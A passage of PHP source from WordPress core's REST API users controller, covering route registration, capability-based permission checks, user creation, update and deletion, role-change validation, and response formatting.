				'permission_callback' => array( $this, 'get_item_permissions_check' ),
				'args'                => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
				),
			),
			array(
				'methods'             => WP_REST_Server::EDITABLE,
				'callback'            => array( $this, 'update_item' ),
				'permission_callback' => array( $this, 'update_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
			),
			array(
				'methods'             => WP_REST_Server::DELETABLE,
				'callback'            => array( $this, 'delete_item' ),
				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				'args'                => array(
					'force'    => array(
						'type'        => 'boolean',
						'default'     => false,
						'description' => __( 'Required to be true, as users do not support trashing.' ),
					),
					'reassign' => array(
						'type'        => 'integer',
						'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
						'required'    => true,
						'sanitize_callback' => array( $this, 'check_reassign' ),
					),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->rest_base . '/me', array(
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_current_item' ),
				'args'                => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
				),
			),
			array(
				'methods'             => WP_REST_Server::EDITABLE,
				'callback'            => array( $this, 'update_current_item' ),
				'permission_callback' => array( $this, 'update_current_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
			),
			array(
				'methods'             => WP_REST_Server::DELETABLE,
				'callback'            => array( $this, 'delete_current_item' ),
				'permission_callback' => array( $this, 'delete_current_item_permissions_check' ),
				'args'                => array(
					'force'    => array(
						'type'        => 'boolean',
						'default'     => false,
						'description' => __( 'Required to be true, as users do not support trashing.' ),
					),
					'reassign' => array(
						'type'        => 'integer',
						'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
						'required'    => true,
						'sanitize_callback' => array( $this, 'check_reassign' ),
					),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		));
	}

	/**
	 * Checks for a valid value for the reassign parameter when deleting users.
	 *
	 * The value can be an integer, 'false', false, or ''.
	 *
	 * @since 4.7.0
	 *
	 * @param int|bool        $value   The value passed to the reassign parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter that is being sanitized.
	 *
	 * @return int|bool|WP_Error
	 */
	public function check_reassign( $value, $request, $param ) {
		if ( is_numeric( $value ) ) {
			return $value;
		}

		if ( empty( $value ) || false === $value || 'false' === $value ) {
			return false;
		}

		return new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) );
	}

	/**
	 * Permissions check for getting all users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		// Check if roles is specified in GET request and if user can list users.
		if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit users.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( 'authors' === $request['who'] ) {
			$can_view = false;
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
			foreach ( $types as $type ) {
				if ( post_type_supports( $type->name, 'author' )
					&& current_user_can( $type->cap->edit_posts ) ) {
					$can_view = true;
				}
			}
			if ( ! $can_view ) {
				return new WP_Error( 'rest_forbidden_who', __( 'Sorry, you are not allowed to query users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
			}
		}

		return true;
	}

	/**
	 * Retrieves all users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'  => 'exclude',
			'include'  => 'include',
			'order'    => 'order',
			'per_page' => 'number',
			'search'   => 'search',
			'roles'    => 'role__in',
			'slug'     => 'nicename__in',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset']  = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		if ( isset( $registered['orderby'] ) ) {
			$orderby_possibles = array(
				'id'              => 'ID',
				'include'         => 'include',
				'name'            => 'display_name',
				'registered_date' => 'registered',
				'slug'            => 'user_nicename',
				'include_slugs'   => 'nicename__in',
				'email'           => 'user_email',
				'url'             => 'user_url',
			);
			$prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ];
		}

		if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) {
			$prepared_args['who'] = 'authors';
		} elseif ( ! current_user_can( 'list_users' ) ) {
			$prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' );
		}

		if ( ! empty( $prepared_args['search'] ) ) {
			if ( ! current_user_can( 'list_users' ) ) {
				$prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' );
			}
			$prepared_args['search'] = '*' . $prepared_args['search'] . '*';
		}
		/**
		 * Filters WP_User_Query arguments when querying users via the REST API.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_user_query/
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_args Array of arguments for WP_User_Query.
		 * @param WP_REST_Request $request       The current request.
		 */
		$prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request );

		$query = new WP_User_Query( $prepared_args );

		$users = array();

		foreach ( $query->results as $user ) {
			if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
				continue;
			}

			$data = $this->prepare_item_for_response( $user, $request );
			$users[] = $this->prepare_response_for_collection( $data );
		}

		$response = rest_ensure_response( $users );

		// Store pagination values for headers then unset for count query.
		$per_page = (int) $prepared_args['number'];
		$page     = ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$prepared_args['fields'] = 'ID';

		$total_users = $query->get_total();

		if ( $total_users < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );
			$count_query = new WP_User_Query( $prepared_args );
			$total_users = $count_query->get_total();
		}

		$response->header( 'X-WP-Total', (int) $total_users );

		$max_pages = ceil( $total_users / $per_page );

		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$base = add_query_arg( $request->get_query_params(), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the user, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise.
	 */
	protected function get_user( $id ) {
		$error = new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) );
		if ( (int) $id <= 0 ) {
			return $error;
		}

		$user = get_userdata( (int) $id );
		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		return $user;
	}

	/**
	 * Checks if a given request has access to read a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$types = get_post_types( array( 'show_in_rest' => true ), 'names' );

		if ( get_current_user_id() === $user->ID ) {
			return true;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) && ! count_user_posts( $user->ID, $types ) ) {
			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Retrieves a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$user = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $user );

		return $response;
	}

	/**
	 * Retrieves the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$current_user_id = get_current_user_id();

		if ( empty( $current_user_id ) ) {
			return new WP_Error( 'rest_not_logged_in', __( 'You are not currently logged in.' ), array( 'status' => 401 ) );
		}

		$user     = wp_get_current_user();
		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );


		return $response;
	}

	/**
	 * Checks if a given request has access create users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! current_user_can( 'create_users' ) ) {
			return new WP_Error( 'rest_cannot_create_user', __( 'Sorry, you are not allowed to create new users.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Creates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error( 'rest_user_exists', __( 'Cannot create existing user.' ), array( 'status' => 400 ) );
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			$check_permission = $this->check_role_update( $request['id'], $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		if ( is_multisite() ) {
			$ret = wpmu_validate_user_signup( $user->user_login, $user->user_email );

			if ( is_wp_error( $ret['errors'] ) && ! empty( $ret['errors']->errors ) ) {
				$error = new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) );
				foreach ( $ret['errors']->errors as $code => $messages ) {
					foreach ( $messages as $message ) {
						$error->add( $code, $message );
					}
					if ( $error_data = $error->get_error_data( $code ) ) {
						$error->add_data( $error_data, $code );
					}
				}
				return $error;
			}
		}

		if ( is_multisite() ) {
			$user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email );

			if ( ! $user_id ) {
				return new WP_Error( 'rest_user_create', __( 'Error creating new user.' ), array( 'status' => 500 ) );
			}

			$user->ID = $user_id;
			$user_id  = wp_update_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}

			$result= add_user_to_blog( get_site()->id, $user_id, '' );
			if ( is_wp_error( $result ) ) {
				return $result;
			}
		} else {
			$user_id = wp_insert_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}
		}

		$user = get_user_by( 'id', $user_id );

		/**
		 * Fires immediately after a user is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_insert_user', $user, $request, true );

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $user_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a user is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_after_insert_user', $user, $request, true );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! empty( $request['roles'] ) ) {
			if ( ! current_user_can( 'promote_user', $user->ID ) ) {
				return new WP_Error( 'rest_cannot_edit_roles', __( 'Sorry, you are not allowed to edit roles of this user.' ), array( 'status' => rest_authorization_required_code() ) );
			}

			$request_params = array_keys( $request->get_params() );
			sort( $request_params );
			// If only 'id' and 'roles' are specified (we are only trying to
			// edit roles), then only the 'promote_user' cap is required.
			if ( $request_params === array( 'id', 'roles' ) ) {
				return true;
			}
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Updates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id = $user->ID;

		if ( ! $user ) {
			return new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) );
		}

		if ( email_exists( $request['email'] ) && $request['email'] !== $user->user_email ) {
			return new WP_Error( 'rest_user_invalid_email', __( 'Invalid email address.' ), array( 'status' => 400 ) );
		}

		if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) {
			return new WP_Error( 'rest_user_invalid_argument', __( "Username isn't editable." ), array( 'status' => 400 ) );
		}

		if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) {
			return new WP_Error( 'rest_user_invalid_slug', __( 'Invalid slug.' ), array( 'status' => 400 ) );
		}

		if ( ! empty( $request['roles'] ) ) {
			$check_permission = $this->check_role_update( $id, $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		// Ensure we're operating on the same user we already checked.
		$user->ID = $id;

		$user_id = wp_update_user( wp_slash( (array) $user ) );

		if ( is_wp_error( $user_id ) ) {
			return $user_id;
		}

		$user = get_user_by( 'id', $user_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_insert_user', $user, $request, false );

		if ( ! empty( $request['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_after_insert_user', $user, $request, false );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Checks if a given request has access to update the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Updates the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	function update_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->update_item( $request );
	}

	/**
	 * Checks if a given request has access delete a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_user', $user->ID ) ) {
			return new WP_Error( 'rest_user_cannot_delete', __( 'Sorry, you are not allowed to delete this user.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Deletes a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		// We don't support delete requests in multisite.
		if ( is_multisite() ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 501 ) );
		}
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id       = $user->ID;
		$reassign = false === $request['reassign'] ? null : absint( $request['reassign'] );
		$force    = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for users.
		if ( ! $force ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		if ( ! empty( $reassign ) ) {
			if ( $reassign === $id || ! get_userdata( $reassign ) ) {
				return new WP_Error( 'rest_user_invalid_reassign', __( 'Invalid user ID for reassignment.' ), array( 'status' => 400 ) );
			}
		}

		$request->set_param( 'context', 'edit' );

		$previous = $this->prepare_item_for_response( $user, $request );

		/** Include admin user functions to get access to wp_delete_user() */
		require_once ABSPATH . 'wp-admin/includes/user.php';

		$result = wp_delete_user( $id, $reassign );

		if ( ! $result ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );

		/**
		 * Fires immediately after a user is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User          $user     The user data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( 'rest_delete_user', $user, $response, $request );

		return $response;
	}

	/**
	 * Checks if a given request has access to delete the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_current_item_permissions_check( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item_permissions_check( $request );
	}

	/**
	 * Deletes the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	function delete_current_item( $request ) {
		$request['id'] = get_current_user_id();

		return $this->delete_item( $request );
	}

	/**
	 * Prepares a single user output for response.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_User         $user    User object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $user, $request ) {

		$data   = array();
		$fields = $this->get_fields_for_response( $request );

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $user->ID;
		}

		if ( in_array( 'username', $fields, true ) ) {
			$data['username'] = $user->user_login;
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $user->display_name;
		}

		if ( in_array( 'first_name', $fields, true ) ) {
			$data['first_name'] = $user->first_name;
		}

		if ( in_array( 'last_name', $fields, true ) ) {
			$data['last_name'] = $user->last_name;
		}

		if ( in_array( 'email', $fields, true ) ) {
			$data['email'] = $user->user_email;
		}

		if ( in_array( 'url', $fields, true ) ) {
			$data['url'] = $user->user_url;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $user->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_author_posts_url( $user->ID, $user->user_nicename );
		}

		if ( in_array( 'locale', $fields, true ) ) {
			$data['locale'] = get_user_locale( $user );
		}

		if ( in_array( 'nickname', $fields, true ) ) {
			$data['nickname'] = $user->nickname;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $user->user_nicename;
		}

		if ( in_array( 'roles', $fields, true ) && ( current_user_can( 'list_users' ) || current_user_can( 'edit_user', $user->ID ) ) ) {
			// Defensively call array_values() to ensure an array is returned.
			$data['roles'] = array_values( $user->roles );
		}

		if ( in_array( 'registered_date', $fields, true ) ) {
			$data['registered_date'] = date( 'c', strtotime( $user->user_registered ) );
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = (object) $user->allcaps;
		}

		if ( in_array( 'extra_capabilities', $fields, true ) ) {
			$data['extra_capabilities'] = (object) $user->caps;
		}

		if ( in_array( 'avatar_urls', $fields, true ) ) {
			$data['avatar_urls'] = rest_get_avatar_urls( $user->user_email );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $user->ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'embed';

		$data = $this->add_additional_fields_to_object( $data, $request );
		$data = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		$response->add_links( $this->prepare_links( $user ) );

		/**
		 * Filters user data returned from the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $user     User object used to create response.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_user', $response, $user, $request );
	}

	/**
	 * Prepares links for the user request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $user User object.
	 * @return array Links for the given user.
	 */
	protected function prepare_links( $user ) {
		$links = array(
			'self' => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		return $links;
	}

	/**
	 * Prepares a single user for creation or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object $prepared_user User object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_user = new stdClass;

		$schema = $this->get_item_schema();

		// required arguments.
		if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) {
			$prepared_user->user_email = $request['email'];
		}

		if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) {
			$prepared_user->user_login = $request['username'];
		}

		if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) {
			$prepared_user->user_pass = $request['password'];
		}

		// optional arguments.
		if ( isset( $request['id'] ) ) {
			$prepared_user->ID = absint( $request['id'] );
		}

		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_user->display_name = $request['name'];
		}

		if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) {
			$prepared_user->first_name = $request['first_name'];
		}

		if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) {
			$prepared_user->last_name = $request['last_name'];
		}

		if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) {
			$prepared_user->nickname = $request['nickname'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_user->user_nicename = $request['slug'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_user->description = $request['description'];
		}

		if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) {
			$prepared_user->user_url = $request['url'];
		}

		if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) {
			$prepared_user->locale = $request['locale'];
		}

		// setting roles will be handled outside of this function.
		if ( isset( $request['roles'] ) ) {
			$prepared_user->role = false;
		}

		/**
		 * Filters user data before insertion via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_user User object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( 'rest_pre_insert_user', $prepared_user, $request );
	}

	/**
	 * Determines if the current user is allowed to make the desired roles change.
	 *
	 * @since 4.7.0
	 *
	 * @param integer $user_id User ID.
	 * @param array   $roles   New user roles.
	 * @return true|WP_Error True if the current user is allowed to make the role change,
	 *                       otherwise a WP_Error object.
	 */
	protected function check_role_update( $user_id, $roles ) {
		global $wp_roles;

		foreach ( $roles as $role ) {

			if ( ! isset( $wp_roles->role_objects[ $role ] ) ) {
				/* translators: %s: role key */
				return new WP_Error( 'rest_user_invalid_role', sprintf( __( 'The role %s does not exist.' ), $role ), array( 'status' => 400 ) );
			}

			$potential_role = $wp_roles->role_objects[ $role ];

			/*
			 * Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
			 * Multisite super admins can freely edit their blog roles -- they possess all caps.
			 */
			if ( ! ( is_multisite()
				&& current_user_can( 'manage_sites' ) )
				&& get_current_user_id() === $user_id
				&& ! $potential_role->has_cap( 'edit_users' )
			) {
				return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => rest_authorization_required_code() ) );
			}

			/** Include admin functions to get access to get_editable_roles() */
			require_once ABSPATH . 'wp-admin/includes/admin.php';

			// The new role must be editable by the logged-in user.
			$editable_roles = get_editable_roles();

			if ( empty( $editable_roles[ $role ] ) ) {
				return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => 403 ) );
			}
		}

		return true;
	}

	/**
	 * Check a username for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param  mixed            $value   The username submitted in the request.
	 * @param  WP_REST_Request  $request Full details about the request.
	 * @param  string           $param   The parameter name.
	 * @return WP_Error|string The sanitized username, if valid, otherwise an error.
	 */
	public function check_username( $value, $request, $param ) {
		$username = (string) $value;

		if ( ! validate_username( $username ) ) {
			return new WP_Error( 'rest_user_invalid_username', __( 'Username contains invalid characters.' ), array( 'status' => 400 ) );
		}

		/** This filter is documented in wp-includes/user.php */
		$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

		if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ) ) ) {
			return new WP_Error( 'rest_user_invalid_username', __( 'Sorry, that username is not allowed.' ), array( 'status' => 400 ) );
		}

		return $username;
	}

	/**
	 * Check a user password for the REST API.
	 *
	 * Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
	 *
	 * @since 4.7.0
	 *
	 * @param  mixed            $value   The password submitted in the request.
	 * @param  WP_REST_Request  $request Full details about the request.
	 * @param  string           $param   The parameter name.
	 * @return WP_Error|string The sanitized password, if valid, otherwise an error.
	 */
	public function check_user_password( $value, $request, $param ) {
		$password = (string) $value;

		if ( empty( $password ) ) {
			return new WP_Error( 'rest_user_invalid_password', __( 'Passwords cannot be empty.' ), array( 'status' => 400 ) );
		}

		if ( false !== strpos( $password, "\\" ) ) {
			return new WP_Error( 'rest_user_invalid_password', __( 'Passwords cannot contain the "\\" character.' ), array( 'status' => 400 ) );
		}

		return $password;
	}

	/**
	 * Retrieves the user's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'user',
